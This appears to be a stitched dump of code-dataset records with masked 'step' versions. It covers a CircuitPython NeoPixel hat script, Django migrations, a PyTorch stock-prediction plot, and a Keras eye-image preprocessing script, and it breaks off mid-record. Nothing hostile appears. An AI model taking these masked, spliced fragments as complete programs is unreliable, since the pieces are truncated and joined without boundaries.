0\n if pos < 85:\n return int(255 - pos * 3), int(pos * 3), 0\n elif pos < 170:\n pos -= 85\n return 0, int(255 - pos * 3), int(pos * 3)\n else:\n pos -= 170\n return int(pos * 3), 0, int(255 - pos * 3)\n\n\ndef randcolor():\n randgr = randrd = randbl = 0\n if random.randint(0, 14) == 1:\n if random.randint(0, 1) == 1:\n randgr = random.randint(1, 255)\n if random.randint(0, 1) == 1:\n randrd = random.randint(1, 255)\n if random.randint(0, 1) == 1:\n randbl = random.randint(1, 255)\n return randgr, randrd, randbl\n\n\ndef flame(pos, clr, sft):\n if pos + sft > 255:\n pos = pos + sft - 256\n else:\n pos = pos + sft\n if pos < 32:\n rval = 0\n elif pos > 31 and pos < 64:\n rval = int(pos * 8 - 249)\n elif pos > 63 and pos < 96:\n rval = int(767 - pos * 8)\n elif pos > 95 and pos < 128:\n rval = 0\n elif pos > 127 and pos < 160:\n rval = int(pos * 8 - 1017)\n elif pos > 159 and pos < 192:\n rval = int(1535 - pos * 8)\n elif pos > 191 and pos < 224:\n rval = 0\n elif pos > 223:\n rval = 0\n if clr == 0:\n return rval, 0, 0\n elif clr == 1:\n return rval, rval, 0\n elif clr == 2:\n return 0, rval, 0\n elif clr == 3:\n return 0, rval, rval\n elif clr == 4:\n return 0, rval, rval\n elif clr == 5:\n return rval, 0, rval\n else:\n return 0, 0, 0\n\n\ndef alloff():\n cpx.pixels.fill((0, 0, 0))\n\n\nmode = 1\npusha = 0\npushb = 0\nclr = 0\ni = 0\nwhile True:\n if mode == 1:\n cpx.pixels[0] = flame(i, clr, 32)\n cpx.pixels[1] = flame(i, clr, 24)\n cpx.pixels[2] = flame(i, clr, 16)\n cpx.pixels[3] = flame(i, clr, 8)\n cpx.pixels[4] = flame(i, clr, 0)\n cpx.pixels[5] = flame(i, clr, 0)\n cpx.pixels[6] = flame(i, clr, 8)\n cpx.pixels[7] = flame(i, clr, 16)\n cpx.pixels[8] = flame(i, clr, 24)\n cpx.pixels[9] = flame(i, clr, 32)\n elif mode == 2:\n cpx.pixels[0] = wheeln(i, 0)\n cpx.pixels[1] = wheeln(i, 24)\n cpx.pixels[2] = wheeln(i, 48)\n cpx.pixels[3] = wheeln(i, 72)\n cpx.pixels[4] = wheeln(i, 96)\n cpx.pixels[5] = wheeln(i, 120)\n cpx.pixels[6] = wheeln(i, 144)\n cpx.pixels[7] = wheeln(i, 168)\n cpx.pixels[8] = wheeln(i, 192)\n cpx.pixels[9] = wheeln(i, 216)\n elif mode == 3:\n cpx.pixels[0] = randcolor()\n cpx.pixels[1] = randcolor()\n cpx.pixels[2] = randcolor()\n cpx.pixels[3] = randcolor()\n cpx.pixels[4] = randcolor()\n cpx.pixels[5] = randcolor()\n cpx.pixels[6] = randcolor()\n cpx.pixels[7] = randcolor()\n cpx.pixels[8] = randcolor()\n cpx.pixels[9] = randcolor()\n else:\n alloff()\n if cpx.button_a:\n print('Button A on Bottom Pressed! Changing mode to ALL OFF.')\n pusha = 1\n if cpx.button_b:\n print('Button B on Top Pressed! Changing mode.')\n pushb = 1\n i = (i + 1) % 256\n if i == 255:\n clr = (clr + 1) % 6\n if (i == 63) | (i == 127) | (i == 191) | (i >= 255) and pusha == 1:\n mode = 0\n pusha = 0\n i = 0\n if (i == 63) | (i == 127) | (i == 191) | (i >= 255) and pushb == 1:\n mode = mode + 1\n pushb = 0\n i = 0\n if mode > 3:\n mode = 1\n", "step-5": "# My Godzilla Hat Code - @alt_bier\nfrom adafruit_circuitplayground.express import cpx\nimport random\n\n#cpx.pixels.brightness = 0.5 # 50 pct\ncpx.pixels.fill((0, 0, 0)) # Turn off the NeoPixels if they're on!\n\n# Function to give us a nice color swirl on the built in NeoPixel (R,G,B)\ndef wheeln(pos, sft):\n if (pos + sft) > 255:\n pos = (pos + sft) - 256\n else:\n pos = (pos + sft)\n if (pos < 0) or (pos > 255):\n return (0, 0, 0)\n if pos < 85:\n return (int(255 - pos*3), int(pos*3), 0)\n elif pos < 170:\n pos -= 85\n return (0, int(255 - (pos*3)), int(pos*3))\n else:\n pos -= 170\n return (int(pos*3), 0, int(255 - pos*3))\n\n# Function to flash random colors\ndef randcolor():\n randgr = randrd = randbl = 0\n # determine if all colors off\n if (random.randint(0,14) == 1):\n # if on then determine if each color is off and return an intensity value if on\n if (random.randint(0,1) == 1):\n randgr = random.randint(1,255)\n if (random.randint(0,1) == 1):\n randrd = random.randint(1,255)\n if (random.randint(0,1) == 1):\n randbl = random.randint(1,255)\n return (randgr, randrd, randbl)\n\n# Function to simulate a flame effect on built in NeoPixel (R,G,B)\ndef flame(pos, clr, sft):\n # pos = position, sft = shift\n if (pos + sft) > 255:\n pos = (pos + sft) - 256\n else:\n pos = (pos + sft)\n #\n # RETURN VALUES\n if pos < 32:\n # OFF\n rval = 0\n elif (pos > 31) and (pos < 64):\n # Low-High\n rval = int((pos*8) - 249)\n elif (pos > 63) and (pos < 96):\n # High-Low\n rval = int(767 - (pos*8))\n elif (pos > 95) and (pos < 128):\n # OFF\n rval = 0\n elif (pos > 127) and (pos < 160):\n # Low-High\n rval = int((pos*8) - 1017)\n elif (pos > 159) and (pos < 192):\n # High-Low\n rval = int(1535 - (pos*8))\n elif (pos > 191) and (pos < 224):\n # OFF\n rval = 0\n elif (pos > 223):\n # OFF\n rval = 0\n #\n # RETURN COLOR\n if (clr == 0):\n # Red\n return (rval, 0, 0)\n elif (clr == 1):\n # Red & Green\n return (rval, rval, 0)\n elif (clr == 2):\n # Green\n return (0, rval, 0)\n elif (clr == 3):\n # Green & Blue\n return (0, rval, rval)\n elif (clr == 4):\n # Blue\n return (0, rval, rval)\n elif (clr == 5):\n # Blue & Red\n return (rval, 0, rval)\n else:\n return (0, 0, 0)\n\n# Function to turn off all the built in NeoPixels\ndef alloff():\n cpx.pixels.fill((0, 0, 0))\n\nmode = 1\npusha = 0\npushb = 0\nclr = 0\ni = 0\nwhile True:\n # NeoPixels are cpx.pixels[0-9]\n\n if (mode == 1):\n cpx.pixels[0] = flame(i, clr, 32)\n cpx.pixels[1] = flame(i, clr, 24)\n cpx.pixels[2] = flame(i, clr, 16)\n cpx.pixels[3] = flame(i, clr, 8)\n cpx.pixels[4] = flame(i, clr, 0)\n cpx.pixels[5] = flame(i, clr, 0)\n cpx.pixels[6] = flame(i, clr, 8)\n cpx.pixels[7] = flame(i, clr, 16)\n cpx.pixels[8] = flame(i, clr, 24)\n cpx.pixels[9] = flame(i, clr, 32)\n elif (mode == 2):\n cpx.pixels[0] = wheeln(i, 0)\n cpx.pixels[1] = wheeln(i, 24)\n cpx.pixels[2] = wheeln(i, 48)\n cpx.pixels[3] = wheeln(i, 72)\n cpx.pixels[4] = wheeln(i, 96)\n cpx.pixels[5] = wheeln(i, 120)\n cpx.pixels[6] = wheeln(i, 144)\n cpx.pixels[7] = wheeln(i, 168)\n cpx.pixels[8] = wheeln(i, 192)\n cpx.pixels[9] = wheeln(i, 216)\n elif (mode == 3):\n cpx.pixels[0] = randcolor()\n cpx.pixels[1] = randcolor()\n cpx.pixels[2] = randcolor()\n cpx.pixels[3] = randcolor()\n cpx.pixels[4] = randcolor()\n cpx.pixels[5] = randcolor()\n cpx.pixels[6] = randcolor()\n cpx.pixels[7] = randcolor()\n cpx.pixels[8] = randcolor()\n cpx.pixels[9] = randcolor()\n else:\n # Mode = 0 so turn All Off\n alloff()\n\n # Button A is bottom button on hat\n if cpx.button_a:\n print(\"Button A on Bottom Pressed! Changing mode to ALL OFF.\")\n pusha = 1\n # Button B is top button on hat\n if cpx.button_b:\n print(\"Button B on Top Pressed! Changing mode.\")\n pushb = 1\n\n i = (i+1) % 256\n #print (i)\n if (i == 255):\n clr = (clr+1) % 6\n\n if ((i == 63) | (i == 127) | (i == 191) | (i >= 255)) and (pusha == 1):\n mode = 0\n pusha = 0\n i = 0\n if ((i == 63) | (i == 127) | (i == 191) | (i >= 255)) and (pushb == 1):\n mode = (mode+1)\n pushb = 0\n i = 0\n if (mode > 3):\n mode = 1\n", "step-ids": [ 4, 5, 6, 7, 8 ] }
[ 4, 5, 6, 7, 8 ]
# Generated by Django 3.2.8 on 2021-10-20 08:25 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('app', '0006_auto_20211020_0817'), ] operations = [ migrations.AlterModelOptions( name='currencies', options={'verbose_name': 'Currencie'}, ), migrations.AlterModelOptions( name='proposals', options={'verbose_name': 'Proposal'}, ), migrations.AlterModelOptions( name='transactions', options={'verbose_name': 'Transaction'}, ), migrations.AlterModelOptions( name='tutorials', options={'verbose_name': 'Tutorial'}, ), migrations.AlterModelOptions( name='userkyc', options={'verbose_name': 'KYC Document'}, ), ]
normal
{ "blob_id": "a6cc0078fb37f9c63e119046193f521290c9fb21", "index": 4634, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n", "step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('app', '0006_auto_20211020_0817')]\n operations = [migrations.AlterModelOptions(name='currencies', options={\n 'verbose_name': 'Currencie'}), migrations.AlterModelOptions(name=\n 'proposals', options={'verbose_name': 'Proposal'}), migrations.\n AlterModelOptions(name='transactions', options={'verbose_name':\n 'Transaction'}), migrations.AlterModelOptions(name='tutorials',\n options={'verbose_name': 'Tutorial'}), migrations.AlterModelOptions\n (name='userkyc', options={'verbose_name': 'KYC Document'})]\n", "step-4": "from django.db import migrations\n\n\nclass Migration(migrations.Migration):\n dependencies = [('app', '0006_auto_20211020_0817')]\n operations = [migrations.AlterModelOptions(name='currencies', options={\n 'verbose_name': 'Currencie'}), migrations.AlterModelOptions(name=\n 'proposals', options={'verbose_name': 'Proposal'}), migrations.\n AlterModelOptions(name='transactions', options={'verbose_name':\n 'Transaction'}), migrations.AlterModelOptions(name='tutorials',\n options={'verbose_name': 'Tutorial'}), migrations.AlterModelOptions\n (name='userkyc', options={'verbose_name': 'KYC Document'})]\n", "step-5": "# Generated by Django 3.2.8 on 2021-10-20 08:25\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('app', '0006_auto_20211020_0817'),\n ]\n\n operations = [\n migrations.AlterModelOptions(\n name='currencies',\n options={'verbose_name': 'Currencie'},\n ),\n migrations.AlterModelOptions(\n name='proposals',\n options={'verbose_name': 'Proposal'},\n ),\n migrations.AlterModelOptions(\n name='transactions',\n options={'verbose_name': 'Transaction'},\n ),\n migrations.AlterModelOptions(\n name='tutorials',\n options={'verbose_name': 'Tutorial'},\n ),\n migrations.AlterModelOptions(\n name='userkyc',\n options={'verbose_name': 'KYC Document'},\n ),\n ]\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
# Generated by Django 2.1.3 on 2019-01-02 12:08 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('leasing', '0037_make_lease_basis_of_rent_archivable'), ] operations = [ migrations.AddField( model_name='invoicepayment', name='filing_code', field=models.CharField(blank=True, max_length=35, null=True, verbose_name='Name'), ), ]
normal
{ "blob_id": "8cd290dc1e682222c97172a0f23e5b93c54838a7", "index": 2201, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n", "step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('leasing', '0037_make_lease_basis_of_rent_archivable')]\n operations = [migrations.AddField(model_name='invoicepayment', name=\n 'filing_code', field=models.CharField(blank=True, max_length=35,\n null=True, verbose_name='Name'))]\n", "step-4": "from django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n dependencies = [('leasing', '0037_make_lease_basis_of_rent_archivable')]\n operations = [migrations.AddField(model_name='invoicepayment', name=\n 'filing_code', field=models.CharField(blank=True, max_length=35,\n null=True, verbose_name='Name'))]\n", "step-5": "# Generated by Django 2.1.3 on 2019-01-02 12:08\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('leasing', '0037_make_lease_basis_of_rent_archivable'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='invoicepayment',\n name='filing_code',\n field=models.CharField(blank=True, max_length=35, null=True, verbose_name='Name'),\n ),\n ]\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
from StockDatabase import StockDatabase from RNNinner import RecurrentAnalyzer import torch import matplotlib.pyplot as plt import numpy as np database = StockDatabase() database.read_data() prices = torch.tensor(database.normalize(database.get_stock_prices('AAPL', length=2000))) print(prices.shape) model = RecurrentAnalyzer(100, 10).to('cpu') model.load_state_dict(torch.load('rnn_inner')) model.init_hidden() model.eval() with torch.no_grad(): preds = list(model(prices[:50, None, None])[:, 0]) for i in range(len(prices) - 50): preds.append(model.forward_step(preds[-1][None, ...])[0]) print(preds) print(prices[1:]) plt.plot(np.arange(len(prices) - 1), prices[1:]) plt.plot(np.arange(len(preds)), preds) plt.show()
normal
{ "blob_id": "8abfb6a9ca3a7a909a1e8125e8c03e29b2bacda8", "index": 109, "step-1": "<mask token>\n", "step-2": "<mask token>\ndatabase.read_data()\n<mask token>\nprint(prices.shape)\n<mask token>\nmodel.load_state_dict(torch.load('rnn_inner'))\nmodel.init_hidden()\nmodel.eval()\nwith torch.no_grad():\n preds = list(model(prices[:50, None, None])[:, 0])\n for i in range(len(prices) - 50):\n preds.append(model.forward_step(preds[-1][None, ...])[0])\n print(preds)\n print(prices[1:])\n plt.plot(np.arange(len(prices) - 1), prices[1:])\n plt.plot(np.arange(len(preds)), preds)\n plt.show()\n", "step-3": "<mask token>\ndatabase = StockDatabase()\ndatabase.read_data()\nprices = torch.tensor(database.normalize(database.get_stock_prices('AAPL',\n length=2000)))\nprint(prices.shape)\nmodel = RecurrentAnalyzer(100, 10).to('cpu')\nmodel.load_state_dict(torch.load('rnn_inner'))\nmodel.init_hidden()\nmodel.eval()\nwith torch.no_grad():\n preds = list(model(prices[:50, None, None])[:, 0])\n for i in range(len(prices) - 50):\n preds.append(model.forward_step(preds[-1][None, ...])[0])\n print(preds)\n print(prices[1:])\n plt.plot(np.arange(len(prices) - 1), prices[1:])\n plt.plot(np.arange(len(preds)), preds)\n plt.show()\n", "step-4": "from StockDatabase import StockDatabase\nfrom RNNinner import RecurrentAnalyzer\nimport torch\nimport matplotlib.pyplot as plt\nimport numpy as np\ndatabase = StockDatabase()\ndatabase.read_data()\nprices = torch.tensor(database.normalize(database.get_stock_prices('AAPL',\n length=2000)))\nprint(prices.shape)\nmodel = RecurrentAnalyzer(100, 10).to('cpu')\nmodel.load_state_dict(torch.load('rnn_inner'))\nmodel.init_hidden()\nmodel.eval()\nwith torch.no_grad():\n preds = list(model(prices[:50, None, None])[:, 0])\n for i in range(len(prices) - 50):\n preds.append(model.forward_step(preds[-1][None, ...])[0])\n print(preds)\n print(prices[1:])\n plt.plot(np.arange(len(prices) - 1), prices[1:])\n plt.plot(np.arange(len(preds)), preds)\n plt.show()\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
import random import tqdm from keras.models import load_model from ModelUtil import precision, recall, f1 from tqdm import tqdm import cv2 as cv import numpy as np import os import pandas as pd from PIL import Image os.environ['CUDA_VISIBLE_DEVICES']='1' model_path = '/home/bo/Project/densenet.hdf5' train_img_path = '/home/bo/Project/Eyes_data/first_train/' test_img_path = '/home/bo/Project/Eyes_data/first_test/' label_df = pd.read_csv('/home/bo/Project/Eyes_data/first_label.csv', error_bad_lines=False, index_col=0) SIZE = 224 def preprocess_image(image_path, desired_size=SIZE): """ Resize the picture to the desired size :param image_path: the path of image folder :param desired_size: the size that image will be cropped as. The default size is 224*224 :return: the cropped image """ im = Image.open(image_path) im = im.resize((desired_size,) * 2, resample=Image.LANCZOS) return im def set_data(img_path, dataframe): """ Correspond the image to the label and return them. :param img_path: the path of images' folder :param dataframe: the .csv file that shows relation between image and label :return: Image, Label and the name of Image """ N = len(os.listdir(img_path)) x_ = np.empty((N, SIZE, SIZE, 3), dtype=np.uint8) y_ = np.empty(N) image_names = np.empty(N, dtype=np.dtype(('U', 15))) for i, img_name in enumerate(tqdm(os.listdir(img_path))): x_[i, :, :, :] = preprocess_image(img_path + img_name) y_[i] = dataframe.loc[img_name.split('.')[0], 'level'] image_names[i] = img_name return x_, y_ def predict(X): model = load_model(model_path, custom_objects={'precision': precision, 'recall': recall, 'f1': f1}) ret = model.predict(X) return ret def sobel(img_set): ret = np.empty(img_set.shape) for i, img in enumerate(tqdm(img_set)): grad_x = cv.Sobel(np.float32(img), cv.CV_32F, 1, 0) grad_y = cv.Sobel(np.float32(img), cv.CV_32F, 0, 1) gradx = cv.convertScaleAbs(grad_x) grady = cv.convertScaleAbs(grad_y) gradxy = cv.addWeighted(gradx, 0.5, grady, 0.5, 0) ret[i, :] = gradxy return ret def canny(img_set): ret = np.empty(img_set.shape) for i, image in enumerate(tqdm(img_set)): blurred = cv.GaussianBlur(np.float32(image), (3, 3), 0) gray = cv.cvtColor(blurred, cv.COLOR_RGB2GRAY) edge_output = cv.Canny(gray, 50, 150) dst = cv.bitwise_and(image, image, mask=edge_output) print(dst) ret[i, :] = dst return ret def scharr(img_set): ret = np.empty(img_set.shape) for i, img in enumerate(tqdm(img_set)): grad_x = cv.Scharr(np.float32(img), cv.CV_32F, 1, 0) grad_y = cv.Scharr(np.float32(img), cv.CV_32F, 0, 1) gradx = cv.convertScaleAbs(grad_x) grady = cv.convertScaleAbs(grad_y) gradxy = cv.addWeighted(gradx, 0.5, grady, 0.5, 0) ret[i, :] = gradxy return ret def laplace(img_set): ret = np.empty(img_set.shape) for i, img in enumerate(tqdm(img_set)): gray_lap = cv.Laplacian(np.float32(img), cv.CV_32F, ksize=3) dst = cv.convertScaleAbs(gray_lap) ret[i, :] = dst return ret def sp_noise(img_set, prob=0.1): ret = np.empty(img_set.shape) for m, image in enumerate(tqdm(img_set)): out = np.zeros(image.shape, np.uint8) thres = 1 - prob for i in range(image.shape[0]): for j in range(image.shape[1]): rdn = random.random() if rdn < prob: out[i][j] = 0 elif rdn > thres: out[i][j] = 255 else: out[i][j] = image[i][j] ret[m,:] = out return ret def gasuss_noise(img_set, mean=0, var=0.01): ret = np.empty(img_set.shape) for m, image in enumerate(tqdm(img_set)): image = np.array(image/255, dtype=float) noise = np.random.normal(mean, var ** 0.5, image.shape) out = image + noise if out.min() < 0: low_clip = -1. else: low_clip = 0. out = np.clip(out, low_clip, 1.0) out = np.uint8(out*255) ret[m, :] = out return ret def ouput_csv(X_, Y_, csv_path): model = load_model(model_path, custom_objects={'precision': precision, 'recall': recall, 'f1': f1}) data = model.predict(X_) dataDF = pd.DataFrame(data) dataDF['level'] = Y_[:, 0] dataDF['label'] = Y_[:, 1] print(dataDF) dataDF.to_csv(csv_path, index=False) ## if you would like to use sobel x_train, y_train = set_data(train_img_path,label_df) y_in = np.c_[y_train, np.ones(y_train.shape[0])] x_test, y_test = set_data(test_img_path,label_df) y_out = np.c_[y_test, np.zeros(y_test.shape[0])] X_ = np.r_[sobel(x_train), sobel(x_test)] Y_ = np.r_[y_in, y_out] ouput_csv(X_, Y_, 'sobel_eye.csv') ## original output without operator # x_train, y_train = set_data(train_img_path,label_df) # y_in = np.c_[y_train, np.ones(y_train.shape[0])] # x_test, y_test = set_data(test_img_path,label_df) # y_out = np.c_[y_test, np.zeros(y_test.shape[0])] # # X_ = np.r_[x_train, x_test] # Y_ = np.r_[y_in, y_out] # # ouput_csv(X_, Y_, 'sobel_eye.csv')
normal
{ "blob_id": "c2b3594d25e2d1670d9b99e0d3484c680f59421f", "index": 9465, "step-1": "<mask token>\n\n\ndef preprocess_image(image_path, desired_size=SIZE):\n \"\"\"\n Resize the picture to the desired size\n :param image_path: the path of image folder\n :param desired_size: the size that image will be cropped as. The default size is 224*224\n :return: the cropped image\n \"\"\"\n im = Image.open(image_path)\n im = im.resize((desired_size,) * 2, resample=Image.LANCZOS)\n return im\n\n\ndef set_data(img_path, dataframe):\n \"\"\"\n Correspond the image to the label and return them.\n :param img_path: the path of images' folder\n :param dataframe: the .csv file that shows relation between image and label\n :return: Image, Label and the name of Image\n \"\"\"\n N = len(os.listdir(img_path))\n x_ = np.empty((N, SIZE, SIZE, 3), dtype=np.uint8)\n y_ = np.empty(N)\n image_names = np.empty(N, dtype=np.dtype(('U', 15)))\n for i, img_name in enumerate(tqdm(os.listdir(img_path))):\n x_[i, :, :, :] = preprocess_image(img_path + img_name)\n y_[i] = dataframe.loc[img_name.split('.')[0], 'level']\n image_names[i] = img_name\n return x_, y_\n\n\ndef predict(X):\n model = load_model(model_path, custom_objects={'precision': precision,\n 'recall': recall, 'f1': f1})\n ret = model.predict(X)\n return ret\n\n\ndef sobel(img_set):\n ret = np.empty(img_set.shape)\n for i, img in enumerate(tqdm(img_set)):\n grad_x = cv.Sobel(np.float32(img), cv.CV_32F, 1, 0)\n grad_y = cv.Sobel(np.float32(img), cv.CV_32F, 0, 1)\n gradx = cv.convertScaleAbs(grad_x)\n grady = cv.convertScaleAbs(grad_y)\n gradxy = cv.addWeighted(gradx, 0.5, grady, 0.5, 0)\n ret[i, :] = gradxy\n return ret\n\n\ndef canny(img_set):\n ret = np.empty(img_set.shape)\n for i, image in enumerate(tqdm(img_set)):\n blurred = cv.GaussianBlur(np.float32(image), (3, 3), 0)\n gray = cv.cvtColor(blurred, cv.COLOR_RGB2GRAY)\n edge_output = cv.Canny(gray, 50, 150)\n dst = cv.bitwise_and(image, image, mask=edge_output)\n print(dst)\n ret[i, :] = dst\n return ret\n\n\ndef scharr(img_set):\n ret = np.empty(img_set.shape)\n for i, img in enumerate(tqdm(img_set)):\n grad_x = cv.Scharr(np.float32(img), cv.CV_32F, 1, 0)\n grad_y = cv.Scharr(np.float32(img), cv.CV_32F, 0, 1)\n gradx = cv.convertScaleAbs(grad_x)\n grady = cv.convertScaleAbs(grad_y)\n gradxy = cv.addWeighted(gradx, 0.5, grady, 0.5, 0)\n ret[i, :] = gradxy\n return ret\n\n\ndef laplace(img_set):\n ret = np.empty(img_set.shape)\n for i, img in enumerate(tqdm(img_set)):\n gray_lap = cv.Laplacian(np.float32(img), cv.CV_32F, ksize=3)\n dst = cv.convertScaleAbs(gray_lap)\n ret[i, :] = dst\n return ret\n\n\n<mask token>\n\n\ndef gasuss_noise(img_set, mean=0, var=0.01):\n ret = np.empty(img_set.shape)\n for m, image in enumerate(tqdm(img_set)):\n image = np.array(image / 255, dtype=float)\n noise = np.random.normal(mean, var ** 0.5, image.shape)\n out = image + noise\n if out.min() < 0:\n low_clip = -1.0\n else:\n low_clip = 0.0\n out = np.clip(out, low_clip, 1.0)\n out = np.uint8(out * 255)\n ret[m, :] = out\n return ret\n\n\ndef ouput_csv(X_, Y_, csv_path):\n model = load_model(model_path, custom_objects={'precision': precision,\n 'recall': recall, 'f1': f1})\n data = model.predict(X_)\n dataDF = pd.DataFrame(data)\n dataDF['level'] = Y_[:, 0]\n dataDF['label'] = Y_[:, 1]\n print(dataDF)\n dataDF.to_csv(csv_path, index=False)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef preprocess_image(image_path, desired_size=SIZE):\n \"\"\"\n Resize the picture to the desired size\n :param image_path: the path of image folder\n :param desired_size: the size that image will be cropped as. The default size is 224*224\n :return: the cropped image\n \"\"\"\n im = Image.open(image_path)\n im = im.resize((desired_size,) * 2, resample=Image.LANCZOS)\n return im\n\n\ndef set_data(img_path, dataframe):\n \"\"\"\n Correspond the image to the label and return them.\n :param img_path: the path of images' folder\n :param dataframe: the .csv file that shows relation between image and label\n :return: Image, Label and the name of Image\n \"\"\"\n N = len(os.listdir(img_path))\n x_ = np.empty((N, SIZE, SIZE, 3), dtype=np.uint8)\n y_ = np.empty(N)\n image_names = np.empty(N, dtype=np.dtype(('U', 15)))\n for i, img_name in enumerate(tqdm(os.listdir(img_path))):\n x_[i, :, :, :] = preprocess_image(img_path + img_name)\n y_[i] = dataframe.loc[img_name.split('.')[0], 'level']\n image_names[i] = img_name\n return x_, y_\n\n\ndef predict(X):\n model = load_model(model_path, custom_objects={'precision': precision,\n 'recall': recall, 'f1': f1})\n ret = model.predict(X)\n return ret\n\n\ndef sobel(img_set):\n ret = np.empty(img_set.shape)\n for i, img in enumerate(tqdm(img_set)):\n grad_x = cv.Sobel(np.float32(img), cv.CV_32F, 1, 0)\n grad_y = cv.Sobel(np.float32(img), cv.CV_32F, 0, 1)\n gradx = cv.convertScaleAbs(grad_x)\n grady = cv.convertScaleAbs(grad_y)\n gradxy = cv.addWeighted(gradx, 0.5, grady, 0.5, 0)\n ret[i, :] = gradxy\n return ret\n\n\ndef canny(img_set):\n ret = np.empty(img_set.shape)\n for i, image in enumerate(tqdm(img_set)):\n blurred = cv.GaussianBlur(np.float32(image), (3, 3), 0)\n gray = cv.cvtColor(blurred, cv.COLOR_RGB2GRAY)\n edge_output = cv.Canny(gray, 50, 150)\n dst = cv.bitwise_and(image, image, mask=edge_output)\n print(dst)\n ret[i, :] = dst\n return ret\n\n\ndef scharr(img_set):\n ret = np.empty(img_set.shape)\n for i, img in enumerate(tqdm(img_set)):\n grad_x = cv.Scharr(np.float32(img), cv.CV_32F, 1, 0)\n grad_y = cv.Scharr(np.float32(img), cv.CV_32F, 0, 1)\n gradx = cv.convertScaleAbs(grad_x)\n grady = cv.convertScaleAbs(grad_y)\n gradxy = cv.addWeighted(gradx, 0.5, grady, 0.5, 0)\n ret[i, :] = gradxy\n return ret\n\n\ndef laplace(img_set):\n ret = np.empty(img_set.shape)\n for i, img in enumerate(tqdm(img_set)):\n gray_lap = cv.Laplacian(np.float32(img), cv.CV_32F, ksize=3)\n dst = cv.convertScaleAbs(gray_lap)\n ret[i, :] = dst\n return ret\n\n\ndef sp_noise(img_set, prob=0.1):\n ret = np.empty(img_set.shape)\n for m, image in enumerate(tqdm(img_set)):\n out = np.zeros(image.shape, np.uint8)\n thres = 1 - prob\n for i in range(image.shape[0]):\n for j in range(image.shape[1]):\n rdn = random.random()\n if rdn < prob:\n out[i][j] = 0\n elif rdn > thres:\n out[i][j] = 255\n else:\n out[i][j] = image[i][j]\n ret[m, :] = out\n return ret\n\n\ndef gasuss_noise(img_set, mean=0, var=0.01):\n ret = np.empty(img_set.shape)\n for m, image in enumerate(tqdm(img_set)):\n image = np.array(image / 255, dtype=float)\n noise = np.random.normal(mean, var ** 0.5, image.shape)\n out = image + noise\n if out.min() < 0:\n low_clip = -1.0\n else:\n low_clip = 0.0\n out = np.clip(out, low_clip, 1.0)\n out = np.uint8(out * 255)\n ret[m, :] = out\n return ret\n\n\ndef ouput_csv(X_, Y_, csv_path):\n model = load_model(model_path, custom_objects={'precision': precision,\n 'recall': recall, 'f1': f1})\n data = model.predict(X_)\n dataDF = pd.DataFrame(data)\n dataDF['level'] = Y_[:, 0]\n dataDF['label'] = Y_[:, 1]\n print(dataDF)\n dataDF.to_csv(csv_path, index=False)\n\n\n<mask token>\n", "step-3": "<mask token>\nos.environ['CUDA_VISIBLE_DEVICES'] = '1'\nmodel_path = '/home/bo/Project/densenet.hdf5'\ntrain_img_path = '/home/bo/Project/Eyes_data/first_train/'\ntest_img_path = '/home/bo/Project/Eyes_data/first_test/'\nlabel_df = pd.read_csv('/home/bo/Project/Eyes_data/first_label.csv',\n error_bad_lines=False, index_col=0)\nSIZE = 224\n\n\ndef preprocess_image(image_path, desired_size=SIZE):\n \"\"\"\n Resize the picture to the desired size\n :param image_path: the path of image folder\n :param desired_size: the size that image will be cropped as. The default size is 224*224\n :return: the cropped image\n \"\"\"\n im = Image.open(image_path)\n im = im.resize((desired_size,) * 2, resample=Image.LANCZOS)\n return im\n\n\ndef set_data(img_path, dataframe):\n \"\"\"\n Correspond the image to the label and return them.\n :param img_path: the path of images' folder\n :param dataframe: the .csv file that shows relation between image and label\n :return: Image, Label and the name of Image\n \"\"\"\n N = len(os.listdir(img_path))\n x_ = np.empty((N, SIZE, SIZE, 3), dtype=np.uint8)\n y_ = np.empty(N)\n image_names = np.empty(N, dtype=np.dtype(('U', 15)))\n for i, img_name in enumerate(tqdm(os.listdir(img_path))):\n x_[i, :, :, :] = preprocess_image(img_path + img_name)\n y_[i] = dataframe.loc[img_name.split('.')[0], 'level']\n image_names[i] = img_name\n return x_, y_\n\n\ndef predict(X):\n model = load_model(model_path, custom_objects={'precision': precision,\n 'recall': recall, 'f1': f1})\n ret = model.predict(X)\n return ret\n\n\ndef sobel(img_set):\n ret = np.empty(img_set.shape)\n for i, img in enumerate(tqdm(img_set)):\n grad_x = cv.Sobel(np.float32(img), cv.CV_32F, 1, 0)\n grad_y = cv.Sobel(np.float32(img), cv.CV_32F, 0, 1)\n gradx = cv.convertScaleAbs(grad_x)\n grady = cv.convertScaleAbs(grad_y)\n gradxy = cv.addWeighted(gradx, 0.5, grady, 0.5, 0)\n ret[i, :] = gradxy\n return ret\n\n\ndef canny(img_set):\n ret = np.empty(img_set.shape)\n for i, image in enumerate(tqdm(img_set)):\n blurred = cv.GaussianBlur(np.float32(image), (3, 3), 0)\n gray = cv.cvtColor(blurred, cv.COLOR_RGB2GRAY)\n edge_output = cv.Canny(gray, 50, 150)\n dst = cv.bitwise_and(image, image, mask=edge_output)\n print(dst)\n ret[i, :] = dst\n return ret\n\n\ndef scharr(img_set):\n ret = np.empty(img_set.shape)\n for i, img in enumerate(tqdm(img_set)):\n grad_x = cv.Scharr(np.float32(img), cv.CV_32F, 1, 0)\n grad_y = cv.Scharr(np.float32(img), cv.CV_32F, 0, 1)\n gradx = cv.convertScaleAbs(grad_x)\n grady = cv.convertScaleAbs(grad_y)\n gradxy = cv.addWeighted(gradx, 0.5, grady, 0.5, 0)\n ret[i, :] = gradxy\n return 